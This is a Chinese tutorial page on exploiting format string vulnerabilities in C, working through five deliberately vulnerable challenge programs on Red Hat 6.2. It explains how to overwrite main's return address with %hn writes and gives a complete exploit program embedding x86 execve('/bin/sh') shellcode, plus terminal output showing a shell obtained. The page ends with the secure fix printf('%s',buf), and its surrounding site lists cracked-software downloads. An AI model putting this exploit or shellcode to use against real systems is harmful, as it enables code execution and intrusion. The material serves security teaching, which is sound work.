动态网站制作指南 [  QQ表情  ]
[ 投票调查 ]
[ 企业邮箱 ]
[ 网站空间 ]
网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
ASP源码 | .Net源码 | PHP源码 | JSP源码 | JAVA源码 | CGI源码 | VB源码 | C++源码 | Delphi源码 | PB源码 | VF源码 | 汇编 | 服务器
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > C/C++教程
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
文章搜索服务
邮件订阅
输入你的邮件地址,
你将不会错过任何关于:
[ C/C++教程 ]的信息

本月文章推荐
.完美的C++:C++/CLI.
.C语言之C语言的底层操作.
.函数指针与软件设计.
.C趣味程序百例(16).
.C++箴言:为类型信息使用特征类.
.获取GetLastError返回信息.
.数据结构:哈夫曼树的应用.
.经典c程序100例==51--60.
.ar和nm命令的使用.
.螺旋矩阵.
..
..
.Bjarne:为什么一个空类的大小不.
.1.3 Turbo C 概述.
.钟表.
.THotKey.
.菜鸟也能搞定C++内存泄漏.
.利用链表实现目录内所有文件列表.
.C的数据库编程(2).
.C++中用函数模板实现和优化抽象操.

非安全编程演示之格式化字符串篇

发表日期:2008-3-8 |


★★ 二格式化字符串篇

测试环境 redhat 6.2 glibc 2.1.3

★ 2.1 演示一

/* fs1.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Don't forget,*
* more is less,*
* here's a proof */

int main(int argv,char **argc) {
  short int zero=0;
  int *plen=(int*)malloc(sizeof(int));
  char buf[256];

  strcpy(buf,argc[1]);
  printf("%s%hn\n",buf,plen);
  while(zero);
}
利用方法:
这个程序构造的很巧妙,假如我们需要从这个程序中得到控制的话,
我们需要把strcpy和printf都利用起来。
我们的目标:覆盖main函数的返回地址,需要使zero为0,然而,单单strcpy
是不可能实现的,所以我们需要利用后面的
printf("%s%hn\n",buf,plen);
把short int 类型的zero设置为0。所以我们需要精心构造argc[1].



★ 2.2 演示二

/* fs2.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Can you tell me what's above the edge? */
int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[2]);
}
假如我们现在来覆盖main的返回地址:0xbffffb6c,
假使shellcode地址为:0xbffffc88
开始构造模板
第一次我们构造argc[1]的时候需要使argc[1]长度为0xbfff-2
那使构造argc[1]内容为
aaaa | bbbb | \0x8a\0xfc\0xff\0xbf|...
第二次我们构造argc[2]的时候需要使argc[2]长度为0xfb6c-2
那使构造argc[2]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...


★ 2.3 演示三

/* fs3.c*
* specially crafted to feed your brain by riq@core-sdi.com*/

/* Not enough resources?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%c%c%hn",argc[1]);
}
在上例中我们也看到,shellcode和main的返回地址存放的地址后两个字节是
一样的,所以也就不需要上面的第一步操作,直接如下构造:
构造argc[1]的时候需要使argc[1]长度为0xfb6c-2
那使构造argc[1]内容为
aaaa | bbbb | \0x88\0xfc\0xff\0xbf|...


★ 2.4 演示四

/* fs4.c*
* specially crafted to feed your brain by gera@core-sdi.com */

/* Have you ever heard about code reusability?*/

int main(int argv,char **argc) {
  char buf[256];

  snprintf(buf,sizeof buf,"%s%6$hn",argc[1]);
  printf(buf);
}
%6$hn格式化字符串表示%hn对应的格式化参数使用第六个参数
明白这一点,写出eXPloit应该不是问题。
看了下面一个例子就应该明白%6$是怎么回事了
[alert7@redhat62 alert7]$ cat test.c
#include <stdio.h>

int main(int argc, char *argv[])
{
  int a=2,b=3;
  printf("%d %d\n",a ,b);
  printf("%2$d %1$d\n",a ,b);

  return 0;
}
[alert7@redhat62 alert7]$ gcc -o test test.c -g
[alert7@redhat62 alert7]$ ./test
2 3
3 2
这样,我们可以在格式化串中自己指定所用哪个参数,而无需按照参数次序。


★ 2.5 演示五

/* fs5.c*
* specially crafted to feed your brain by gera@core-sdi.com */


/* go, go, go!*/
int main(int argv,char **argc) {
  char buf[256];
  snprintf(buf,sizeof buf,argc[1]);

  /* this line'll make your life easier */
//printf("%s\n",buf);
}
[alert7@redhat]$ gcc -o test test.c -g
给个exploit更感性一点
[alert7@redhat]$ cat exp.c|more
#include <stdlib.h>
#include <unistd.h>

#define DEFAULT_OFFSET0
#define DEFAULT_ALIGNMENT 0
#define DEFAULT_RETLOC 0xbffffd28-0*4-8-8 //F-X*4-8-8
  //F为格式化字符串地址
  //X为垃圾的个数,X*4也就是
  //从esp到F的长度

#define NOP0x90

char shellcode[] =
 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main(int argc, char *argv[]) {
  char *ptr;

  long shell_addr,retloc=DEFAULT_RETLOC;
  int i,SH1,SH2;
  char buf[512];
  char buf1[5000];
  int t;
  printf("Using RET location address: 0x%x\n", retloc);
  shell_addr =0xbfffff10 +atoi(argv[1]);//argv[1]的参数地址
  //里面存放着shellcode
  printf("Using Shellcode address: 0x%x\n", shell_addr);
 
SH1 = (shell_addr >> 16) & 0xffff;//SH1=0xbfff
SH2 = (shell_addr >>0) & 0xffff;//SH2=0xd3a8

ptr = buf;

if ((SH1)<(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%UC%%hn%%%uc%%hn",(SH1-8*2),(SH2-SH1 ));
  /*推荐构造格式化串的时候使用%hn*/

}

if ((SH1 )>(SH2))
{
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc) & 0xff;
 (*ptr++) = ((retloc) >> 8) & 0xff ;
 (*ptr++) = ((retloc) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc) >> 24 ) & 0xff ;
 memset(ptr,'B',4);
 ptr += 4 ;
 (*ptr++) =(retloc+2) & 0xff;
 (*ptr++) = ((retloc+2) >> 8) & 0xff ;
 (*ptr++) = ((retloc+2) >> 16 ) & 0xff ;
 (*ptr++) = ((retloc+2) >> 24 ) & 0xff ;

  sprintf(ptr,"%%%uc%%hn%%%uc%%hn",(SH2-8*2),(SH1-SH2 ));
}
if ((SH1 )==(SH2))
  {
  printf("不能用一个printf实现这种情况\n"),exit(0);
  //其实是可以的,注重这个$这个非凡的printf选项没有
  //参考前面的演示四 :)
  }
sprintf(buf1,"%s%s",buf,shellcode);
execle("./test","test",buf1, NULL,NULL);
}
[alert7@redhat]$ gcc -o exp exp.c
[alert7@redhat]$ ./exp 50
Using RET location address: 0xbffffd18
Using Shellcode address: 0xbfffff42
bash$ uname -a
Linux redhat62 2.2.14-5.0 #1 Tue Mar 7 21:07:39 EST 2000 i686 unknown
bash$ 成功:)
里面的一些数据的定位请参考我写的<<利用格式化串覆盖printf()系列函数本身的返回地址>>


★★ 小结:
存在格式化字符串的根本原因所在是程序答应用户提供部分或全部的格式化字符串,
也就是说,在*printf()系列函数中,格式化字符串位置的参数可由用户提供或者说
是控制。例如:千万不要因为懒惰写成这样printf(buf),正确的写法应该是
printf("%s",buf).



上一篇:深入理解C语言指针的奥秘 人气:366
下一篇:对于SSH crc32 compensation attack detector exploit 的分析 人气:358
浏览全部C/C++的内容 Dreamweaver插件下载 常用网页广告代码全集
  最新网站源码 最新软件下载
2008-9-7 站长中国企业(公司)网站系统 v4.2
2008-9-7 PBDigg v2.0 Build 20080821
2008-9-7 玩玩小游戏FLASH系统 v2.1
2008-9-7 522QQ在线电视直播程序 v1.1
2008-9-7 Pcook cms 文章管理系统 (老Y CM
2008-9-7 仿代码小说小偷系统 v1.0
2008-9-7 百度一搜集成搜索管理系统
2008-9-7 小贤统计器 v1.0
2008-9-7 UCenter Home-中秋搏饼插件 v1.2
2008-9-7 iBlacklist通话黑名单汉化破解补
2008-9-7 EndlessWalls无尽壁纸 v1.0.4破解
2008-9-7 Dynolicious车载测量仪v1.1破解版
2008-9-7 iVoodoo巫毒娃娃1.0.1破解版
2008-9-7 iWallpape精品墙纸1.2破解版
2008-9-7 iChillout自然音效工具1.1破解版
2008-9-7 Todo计划提醒1.2破解版
2008-9-7 allRadio电台集合1.01破解版
2008-9-7 My Money个人理财1.0破解版
  发表评论
姓 名: 验证码:
内 容:
站长工具:网站收录查询 | Google PR查询 | ALEXA排名查询 | CSS在线编辑器 | 广告代码 | Html转换js | js/vbs加密 | md5加密 | 进制转换
实用工具:汉字翻译拼音 | 符号对照表 | 个税计算 | 经典小工具 | 汉字简繁转换 | 普通单位换算 | 公制单位换算 | 生辰老黄历 | 国内电话区号 国家代码与域名缩写 | 文字加密解密 | 健康查询 | 万年历 | 汉字横竖排版 | 手机号码查询 | 计算器 | ip搜索
业务联系 | 广告刊登 | 频道合作 | 投稿荐稿 | 联系方式 | 加入收藏 | RSS订阅
Copyright © 2000-2008 www.knowsky.com All rights reserved | 网络实名:动态网站制作指南 | 沪ICP备05001343号